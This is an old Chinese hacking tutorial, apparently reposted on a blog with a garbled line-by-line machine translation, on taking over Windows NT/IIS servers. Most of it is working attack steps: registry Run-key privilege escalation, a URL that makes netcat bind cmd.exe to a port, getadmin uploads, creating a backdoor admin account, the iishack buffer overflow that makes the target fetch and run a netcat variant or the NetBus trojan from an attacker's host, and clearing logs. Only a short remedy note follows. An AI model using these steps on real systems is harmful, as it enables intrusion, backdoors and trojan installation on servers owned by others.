Pages

Kamis, 10 November 2011

Obtain permission to approach the NT admin

涉及程序: Involved in the program:
NT server NT server

描述: Description:
一般用户获取NT服务器Admin权限的方法 General user to obtain permission to approach NT Server Admin

详细: Details:
获取NT的admin权限的方法: Access to the NT admin rights approach:
一、通过修改注册表凡是具有登录NT本机的用户,例如IUSR_machine,都具有对HKEY_LOCAL_MACHINE\SOFTWARE \MICROSOFT\WINDOWS\CurrentVersion\Run 项的可读可写权限,该用户可以远程访问这个项。 First, by modifying the registry, those with log NT local user, such as IUSR_machine, have on the HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CurrentVersion \ Run item read-write permissions, the user can remotely access the item. 比如,他可以创建一个bat文件,文件内容为: cmd.exe /c net localgroup administrators For example, he can create a bat file, the file content is: cmd.exe / c net localgroup administrators
IUSR_machine /add,把该文件copy到winnt目录下,然后在注册表上述的项添加一个数值,指向这个文件。 IUSR_machine / add, to copy the file to the winnt directory, and then add a registry value of these items, refer to this file.
那么,当下次Admin登录到该机器上时,就会自动把IUSR_machine添加到Administrators组。 So the next time the Admin Login to the machine, it will automatically IUSR_machine to the Administrators group.
另,注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 也可以这么做。 Also, the registry key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ User Shell Folders \ Common Startup can do.

二、自建telnet服务在NT上执行指令要求用户有文件上传权限,而且该目录位于web目录下,该目录允许执行下面是具体步骤假设你的目录是www.xxx.com/frankie Second, the self service on NT telnet command requires the user to perform a file upload permissions, and the directory in the web directory, the directory is allowed to perform the following specific steps assume that your directory is www.xxx.com / frankie
那么,把cmd.exe(位于C:\winnt\system32\cmd.exe)和Netcat里面包含的nc.exe传到这个目录上去, So, the cmd.exe (located in C: \ winnt \ system32 \ cmd.exe) and Netcat inside the directory containing the nc.exe reached up,
然后,在浏览器端输入: Then, enter in the browser:
http://www.xxx.com/frankie/cmd.exe?/c%20nc.exe%20-l%20-p%2023%20-t%20-e%20cmd.exe http://www.xxx.com/frankie/cmd.exe?/c% 20nc.exe% 20-l% 20-p% 2023% 20-t% 20-e% 20cmd.exe
这时候,你的浏览器将停止不动,实际上,server上的Telnet的服务已经产生了: At this time, your browser will stop moving, in fact, server on the Telnet service has resulted in:
这时,用Telnet连接www.xxx.com的23端口,你发现,不用密码,不用登陆,对方C:\提示符已经出现在你的眼前!更妙的是,这个Telnet server是一个一次性的服务,当客户端一退出,该服务也将终止. Then, use Telnet to connect www.xxx.com port 23, you find that without a password, do not visit the other C: \ prompt has appeared in front of you! Even better, the Telnet server is a one-time service When a client exits, the service will be terminated.
Netcat不同于一般的特洛伊木马,它可以构建任何的TCP连接服务.在浏览器端输入上述的字符串,等价于在NT的Dos方式下输入: nc -l -p 23 -t Netcat is different from the Trojan horse, it can build a TCP connection to any service in the browser, enter the string equivalent of the NT Dos mode input: nc-l-p 23-t

-e cmd.exe 这将把cmd.exe绑定到23端口上 -E cmd.exe cmd.exe which will bind to port 23

三、入侵NTserver典型途径V2.0 Third, the invasion of NTserver typical way to V2.0
简介 Introduction
1、如果你有NT/IIS服务器的任何一个帐号,哪怕是guest帐号,都可以获得root 1, if you have NT / IIS server, any account, even if it is the guest account, you can get root
2、用netcat和iishack可以获得root 2, using netcat and iishack can get root
3、iusr_计算机名这个帐号有ftp上传,web执行等权限. 3, iusr_ computer name in this account have ftp upload, web execution permissions.
4、在web server上执行程序是入侵NT的关键 4, execute programs on the web server is the key to the invasion NT
5、要在web server上执行程序就先要上传文件到cgi-bin目录或者scripts目录等有执行权限的目录上去在本文中,目标机器的名称是ntsvr2,目标机器的域名是www.xxx.com,目标机器上有scripts和cgi-bin目录,scripts目录下有uploadn.asp等asp 5, to run the web server process must first upload the file to the cgi-bin directory or scripts directory with execute permissions to the directory and other up in this article, the name of the target machine is ntsvr2, the target machine's domain name is www.xxx. com, there are scripts on the target machine, and cgi-bin directory, scripts directory under uploadn.asp other asp

程序,可能有guest帐号,肯定有iusr_ntsvr2这个帐号: Program, there may be guest account, the account must have iusr_ntsvr2:
第一个方法,用iusr_ntsvr2后者guest这两个帐号,这里假设我们已经破解了这个帐号的密码: The first method, the latter with iusr_ntsvr2 two guest account, assuming that we have cracked the password for this account:
在浏览器输入: Input in the browser:
http://www.xxx.com/scripts/uploadn.asp http://www.xxx.com/scripts/uploadn.asp
guest和iusr_ntsvr2这两个帐号都可以进这个asp页面在这里把文件getadmin和gasys.dll以及cmd.exe上传到/scripts目录. Both guest and iusr_ntsvr2 into this account can be asp page where the file cmd.exe getadmin and gasys.dll and uploaded to the / scripts directory.
然后输入:http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2 Then enter: http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示: About ten seconds after the screen displays:
CGI Error CGI Error
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员下面可以add user: 90% of the time might be: you have already upgraded to IUSR_ntsvr2 Administrator, that is, any access to the web site administrators who are below you can add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20china%20news%20/add http://www.xxx.com/cgi-bin/cmd.exe?/c% 20c: \ winnt \ system32 \ net.exe% 20user% 20china% 20news% 20/add
这样就创建了一个叫china用户,密码是news,然后: This creates a user called china, the password is news, then:
http://www.xxx.com/scripts/getadmin.exe?china http://www.xxx.com/scripts/getadmin.exe?china
第二个方法,用匿名ftp: The second method, using anonymous ftp:
如果允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。 If you allow anonymous ftp login account set, but also gives us the opportunity to break through the NT server. 我们用ftp登陆一个NT server,比如:www.xxx.com(示例名): We use the ftp login a NT server, such as: www.xxx.com (sample name):
ftp www.xxx.com ftp www.xxx.com
Connected to www.xxx.com Connected to www.xxx.com
220 ntsvr2 Microsoft FTP Service (Version 3.0). 220 ntsvr2 Microsoft FTP Service (Version 3.0).
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSR_ntsvr2的用户帐号,属于Domain user组,这个帐号我们以后要用来 ntsvr2 this thing exposed the NETbios name, then in the context of IIS, there must be a IUSR_ntsvr2 user account belongs to Domain user group, since we want to use this account

获取Administrator的权限 Obtain Administrator privileges
User (www.xxx.com:(none)):anonymous User (www.xxx.com: (none)): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password. 331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入guest@ 或者guest Password: Enter guest @ or guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。 For lack of knowledge of network security administrators, many people do not prohibit the guest account, or not set the password. 那么guest帐号就是一个可用的正确的用户帐号,虽然 Then the guest account is available to correct a user account, although

只属于Domain guest组在这种情况下我们就可以进NT server的ftp了。 Belongs to Domain guest group in this case we can into the NT server to ftp the.
进去以后,看看目录列表,试试cd /scripts 或cgi-bin等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握。 Into the future, take a look at the directory listing, try cd / scripts or cgi-bin and other key directory, and if lucky, to change the directory successfully, then you have 80% certainty.
把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin Under the winnt cmd.execopy to cgi-bin, the getadmin and gasys.dll passed up to the cgi-bin
然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2 Then enter: http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2
大约十多秒后屏幕显示: About ten seconds after the screen displays:
CGI Error CGI Error
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员下面可以add user: 90% of the time might be: you have already upgraded to IUSR_ntsvr2 Administrator, that is, any access to the web site administrators who are below you can add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20china%20news%20/add http://www.xxx.com/cgi-bin/cmd.exe?/c% 20c: \ winnt \ system32 \ net.exe% 20user% 20china% 20news% 20/add
这样就创建了一个叫china用户,密码是news,然后: This creates a user called china, the password is news, then:
http://www.xxx.com/cgi-bin/getadmin.exe?china http://www.xxx.com/cgi-bin/getadmin.exe?china
或者 Or
http://www.xxx.com/scripts/tools/getadmin.exe?china http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改如果没有cmd.exe,也可以自己传一个上去到 You then china account login, you can have the greatest authority, you can also use the above method of directly modifying the cmd.exe If cmd.exe, you can own up to pass a

scripts/tools或者cgi-bin目录 scripts / tools or cgi-bin directory

第三个方法,用netcat和iishack The third method, using netcat and iishack
如果你熟悉使用Netcat这个工具,你就知道,netcat可以利用NT的弱点在其上绑定端口,下面用eEye的工具已经介绍过,如果你熟悉Netcat,成功的可能性会更大: If you are familiar with using Netcat this tool, you know, netcat can take advantage of weaknesses in its NT port binding on, the following tools with eEye has been introduced, if you are familiar with Netcat, the likelihood of success will be greater:

IIS的ISAPI的毛病(*.HTR) 我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具.在IIS的/Inetsrv目录下,有个DLL文件叫 IIS's ISAPI defects (*. HTR) eEye let us look at a recently discovered two days on NT / IIS issues and tools in the IIS / Inetsrv directory, there is a DLL file called

ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现 ism.dll, this module is running when the web was loaded into high memory address, and led to a zero byte problem occurs everywhere
IIShack.asm ,利用这个毛病,eEye写了两个程序: IIShack.asm, the use of this weakness, eEye wrote two programs:
iishack.exe iishack.exe
ncx99.exe,为达目的你必须自己有一个web server,把ncx99.exe和 ncx99.exe, to achieve the purpose you have to have a web server, and the ncx99.exe

netbus木马传到这个web server的目录下,比如你的web server是: netbus Trojan reached the web server directory, such as your web server is:
www.mysvr.com? 而对方的IIS server是www.xxx.com www.mysvr.com? while the other's IIS server is www.xxx.com
则: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe?? (注意,不要加http://字符!) Is: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe?? (Note, do not add http:// characters!)
上述命令输入后这时你应该可以看到 The command is entered then you should see
------(IIS 4.0 remote buffer overflow exploit)----------------- ------( IIS 4.0 remote buffer overflow exploit )-----------------
(c) dark spyrit -- barns@eeye.com. (C) dark spyrit - barns@eeye.com.
http://www.eEye.com http://www.eEye.com
[usage: iishack ] [Usage: iishack ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe eg - iishack www.xxx.com 80 www.mysvr.com / thetrojan.exe
do not include 'http://' before hosts! do not include 'http://' before hosts!
--------------------------------------------------------------- -------------------------------------------------- -------------
Data sent! Data sent!

然后,再把Netbus等特洛伊木马传到对方机器上去: Then, then spread to other machines Netbus Trojan horses and other up:
iishack www.example.com 80 www.myserver.com/netbus.exe iishack www.example.com 80 www.myserver.com / netbus.exe
ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务 ncx99.exe Netcat is actually a variant of the famous, which bind to each other the cmd.exe to the Telnet server service
ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服 ncx.exe This is an earlier version, is tied to the port 80, port 80 to run as web services

务,端口已经被使用.所以可能不一定有效然后,用Telnet到对方的99或80端口: Service, the port has been used so may not necessarily be effective then, using Telnet to each other 99 or 80 ports:
Telnet www.xxx.com 99 Telnet www.xxx.com 99
结果是这样: The result is this:
Microsoft(R) Windows NT(TM) Microsoft (R) Windows NT (TM)
(C) Copyright 1985-1996 Microsoft Corp. (C) Copyright 1985-1996 Microsoft Corp.

C:\>[You have full access to the system, happy browsing :)] C: \> [You have full access to the system, happy browsing:)]
C:\>[Add a scheduled task to restart inetinfo in X minutes] C: \> [Add a scheduled task to restart inetinfo in X minutes]
C:\>[Add a scheduled task to delete ncx.exe in X-1 minutes] C: \> [Add a scheduled task to delete ncx.exe in X-1 minutes]
C:\>[Clean up any trace or logs we might have left behind.] C: \> [Clean up any trace or logs we might have left behind.]

这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出参考资料: eeye.zip In this way, you complete control over their files on the drive! Note that if you type exit to exit, on the other server process will exit this reference: eeye.zip

补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除微软对这个问题的正式回应 Remedy: In the IIS www service attributes will set the home directory of the application to delete the *. htr mapping Microsoft's official response to this question

其它:用Retina.exe得到NT域内的帐号清单,逐个尝试这些帐号,如果有的密码薄弱而被你猜出来,就可以用上面的方法来获取NT的admin Other: The Retina.exe get NT domain account list, try these one by one account, and if you guess the password is weak, you can use the above method to obtain the NT admin
不明白的地方请看黑客世界最新更新的有关NT的系列文章版权属于CCSDT&Frankie所有 Hackers do not understand where the world see the latest updates on the NT series all copyright belongs to CCSDT & Frankie

解决方案: Solution:
控制一般用户对注册表Run项的可写权限打最新的Services Pack Control the average user to the registry Run key of the write permission to play the latest Services Pack

Tidak ada komentar:

Posting Komentar